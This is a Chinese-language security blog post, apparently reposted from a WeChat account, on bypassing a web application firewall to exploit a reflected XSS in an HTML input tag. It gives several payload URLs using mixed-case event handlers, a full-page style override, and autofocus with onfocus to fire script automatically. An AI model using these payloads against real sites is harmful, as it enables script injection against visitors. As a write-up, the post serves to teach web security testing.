在input标签中如何绕过waf?

admin 2024年1月23日10:43:17评论16 views字数 1156阅读3分51秒阅读模式

在几个星期以前,我碰到了一个xss 漏洞

url: https://target.com/?product_name=test

在源码中显示的是

<input type="text" name="product_name" id="product_name" value="test"  style="height: 25px; width: 200px;">

尝试直接注入script标签,来进行利用

https://target.com/?product_name=test"<script>alert(1)</script><

但是waf直接给script过滤了

<input type="text" name="product_name" id="product_name" value="test"  style="height: 25px; width: 200px;">

我尝试了很多其他payload,比如img等等,但是都直接被waf过滤了。

但是我发现这个标签是在input标签中的,于是我想到了onmouseover 事件来进行利用

onmouseover事件会在鼠标指针 移动到指定的对象上时触发事件发生

payload如下:

https://target.com/?product_name=test"%20oNmOuSeOvEr=prompt(1)//>

成功注入,并没有被拦截。但是比较鸡肋的是,这个事件要求用户把鼠标移动到这个小小的input上才能触发。

然后我注意到这个input后面跟的是style标签,可以用于设置元素的大小。

并且在html中先定义的属性才会生效,例如

在input标签中如何绕过waf?

我们可以看到元素b是没有生效的。

在input标签中如何绕过waf?

于是我们可以通过在前面写style,让input覆盖满整个屏幕。

payload如下:

https://target.com?product_name=admin%22style=%22height:%20100%;width:100%;position:%20absolute;top:%200;left:%200;z-index:%209999;%22%20oNmOuSeOvEr=prompt(1)//%3E

这样只要鼠标移动到网页里面就会触发prompt

稍微接近于可用状态了,后来有另一个大佬提出了一个更为完美的解决方案,通过autofocus加oNfocUs两个属性一起

onfocus 事件在对象获得焦点(光标)时发生

autofocus 设置了该属性 , 可以自动进行聚焦 , 页面加载完毕后 , 自动聚焦到设置了该属性的表单

完整payload如下:

https://target.com?product_name=admin") autofocus oNfocUs="prompt(1)"//

原文始发于微信公众号(漏洞推送):在input标签中如何绕过waf?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月23日10:43:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在input标签中如何绕过waf?https://cn-sec.com/archives/2420731.html

发表评论

匿名网友 填写信息